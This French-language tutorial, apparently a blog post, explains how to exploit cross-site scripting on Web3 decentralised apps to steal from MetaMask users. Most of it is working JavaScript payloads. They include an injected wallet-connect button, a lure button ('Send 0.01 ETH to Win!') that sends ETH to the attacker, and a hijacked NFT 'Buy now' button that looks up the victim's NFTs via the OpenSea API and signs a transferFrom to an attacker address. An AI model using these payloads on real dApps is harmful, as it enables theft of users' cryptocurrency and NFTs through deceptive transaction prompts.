Exploiter le Cross Site Scripting (XSS) dans Web3
Introduction
Le Cross-Site Scripting (XSS) est un type de cyberattaque dans lequel un attaquant injecte un code malveillant dans un site Web ou une application Web. Le code injecté se présente généralement sous la forme d'un script, qui est ensuite exécuté par le navigateur Web de la victime. Cela peut permettre à l'attaquant de voler des informations sensibles, telles que des identifiants de connexion ou des données financières, ou d'effectuer d'autres actions malveillantes au nom de la victime.
Introduction au contrat intelligent
Un "contrat intelligent" est simplement un programme qui s'exécute sur la blockchain Ethereum. C'est une collection de code (ses fonctions) et de données (son état) qui réside à une adresse spécifique sur la blockchain Ethereum.
Les contrats intelligents sont un type de compte Ethereum. Cela signifie qu'ils ont un solde et peuvent être la cible de transactions. Cependant, ils ne sont pas contrôlés par un utilisateur, mais ils sont déployés sur le réseau et exécutés comme programmés. Les comptes d'utilisateurs peuvent ensuite interagir avec un contrat intelligent en soumettant des transactions qui exécutent une fonction définie sur le contrat intelligent. Les contrats intelligents peuvent définir des règles, comme un contrat normal, et les appliquer automatiquement via le code. Les contrats intelligents ne peuvent pas être supprimés par défaut et les interactions avec eux sont irréversibles.
Qu'est-ce qu'une transaction blockchain ?
Les transactions ne sont plus limitées aux seuls transferts financiers, et avec le développement des réseaux de blockchain, vous pouvez désormais utiliser la blockchain dans d'autres domaines que les transferts financiers, de sorte que toute modification de l'état de la blockchain est désormais appelée une transaction, qu'il s'agisse d'un transfert financier vers quelqu'un ou votre interaction avec un contrat intelligent.
Applications décentralisées (dApps) et contrats intelligents
Beaucoup de gens utilisent indifféremment les termes contrats intelligents et applications décentralisées (dApps), mais c'est incorrect. Un contrat intelligent est simplement un morceau de code qui est stocké sur la blockchain. Un dApp, cependant, connecte le frontend au backend et peut utiliser plusieurs contrats intelligents pour fonctionner.
Le portefeuille MetaMask en bref
- MetaMask est un portefeuille de crypto-monnaie qui permet aux utilisateurs de stocker Ether et d'autres jetons ERC-20.
- Le portefeuille peut également être utilisé pour interagir avec des applications décentralisées.
Authentification Web3
La plupart des applications décentralisées (dApps) n'authentifient pas les utilisateurs par nom d'utilisateur/mot de passe, mais utilisent des adresses cryptographiques pour identifier les utilisateurs, donc dans notre cas, même si dApp utilise des cookies pour suivre les activités hors chaîne des utilisateurs, il ne serait pas utile de voler l'utilisateur cookies, car les opérations dans la blockchain nécessitaient la clé privée de l'utilisateur pour signer chaque transaction (cette clé privée n'existe que sur l'ordinateur de l'utilisateur et il est impossible de la voler avec une attaque comme XSS).
Que pouvons-nous faire?
Dans cette rubrique, j'expliquerai quelques idées que vous pouvez exploiter avec l'attaque XSS pour atteindre la gravité la plus élevée possible.
J'utiliserai le portefeuille MetaMask pendant cette explication, car c'est le portefeuille le plus populaire.
Avant de commencer
Nous ferons notre test sur le réseau testnet de Goerli plutôt que sur le réseau principal, nous n'avons donc pas à gérer de l'argent réel.
Nous devons donc activer le réseau Goerli sur notre portefeuille.
Vous pouvez obtenir le test ETH pour Goerli Network à partir d' ici .
Connectez-vous à MetaMask !
Cette première partie de notre attaque consiste à obliger l'utilisateur à connecter son portefeuille au site Web dApp. La meilleure chose ici est que lorsque MetaMask demande à l'utilisateur d'approuver la connexion, il lui montrera l'URL du site Web dApp, ce qui rendra l'utilisateur un peu confiant.
Le code JavaScript suivant demandera à l'utilisateur de connecter son portefeuille :
const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});
Maintenant, l'utilisateur est connecté au site Web dApp. Après cela, nous créerons une charge utile pour effectuer une transaction qui enverra de l'argent à l'attaquant.
La charge utile suivante consiste à effectuer une transaction qui enverra 0,01 ETH de la victime à l'attaquant :
const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});
Comme vous pouvez le voir, cette attaque nécessite une interaction de l'utilisateur, mais n'oubliez pas que dans la première partie, MetaMask affichera l'URL de l'utilisateur du site Web vulnérable, ce qui le rendra confiant s'il n'a pas de connaissances techniques.
Maintenant, expliquons plus de détails sur la charge utile précédente.
pour transactionParametersobjet, nous avons des choses importantes que vous devez savoir :
1- to: la valeur de ce paramètre est l'adresse du destinataire (peut être une clé publique de votre compte, ou une adresse de contrat).
2- value: la quantité d'éther (en Hex) que vous souhaitez envoyer.
3- data: ce paramètre est utile quand on veut faire un smart contract interactions (j'en parlerai un peu plus tard).
4- chainId: ici nous utilisons Goerli testnet, et le chainId de celui-ci est 0x5 (chaque réseau a un chainId unique).
Vous pouvez trouver le chainId pour les autres réseaux ici .
Une nouvelle exploitation
La chose importante avant de déterminer l'exploit que vous allez lui fournir est de connaître la logique métier de la dApp, donc par exemple si nous avons trouvé un XSS stocké sur le marché NFT dans la page de détails NFT (qui vous montre des détails sur NFT spécifique), dans ce cas, nous n'utiliserons pas l'exploit précédent, mais nous créerons un nouveau scénario.
La plupart des marchés NFT ont une "page de détails NFT" comme celle-ci :
Ainsi, lorsque vous cliquez sur le bouton "Acheter maintenant", une fenêtre contextuelle MetaMask vous apparaîtra pour approuver la transaction (c'est le comportement normal). Nous allons en abuser maintenant, nous devons donc changer ce comportement.
Dans un premier temps j'expliquerai le scénario d'attaque puis nous écrirons l'exploitation. Lorsque l'utilisateur clique sur "Acheter maintenant", nous voulons effectuer un appel API dans les coulisses jusqu'à ce que nous obtenions les NFT que l'utilisateur possède, puis nous nous transférerons la propriété de NFT lorsqu'il confirmera la transaction via MetaMask.
Nous utiliserons l'API OpenSea pour faire une requête API afin d'obtenir tous les NFT des utilisateurs.
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}
SC_address: Cette variable contiendra l'adresse du smart contract (adresse NFT).
tokenId: Cette variable contiendra le tokenId du NFT.
Maintenant, nous allons créer une nouvelle transaction qui fera approuver par l'utilisateur le transfert de son NFT à l'attaquant :
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
L' objet data in transactionParametersreprésente les informations dont nous avons besoin pour appeler transferFrom la fonction (méthode ERC-721).
Plus de détails sur les données :
23b872dd représentent le MethodID de la fonction. transferFrom
${ethereum.selectedAddress.substr(2)}représentent l'adresse de l'utilisateur.
${“0”.repeat(64 — tokenId.length)}: ici nous calculons la longueur de tokenId, puis nous le soustrairons de 64 jusqu'à remplir le reste de données en zéros.
Maintenant, notre transaction est prête, mettons tout en place.
document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});
Merci pour votre lecture, j'espère que mon histoire a été utile.
![Qu'est-ce qu'une liste liée, de toute façon? [Partie 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































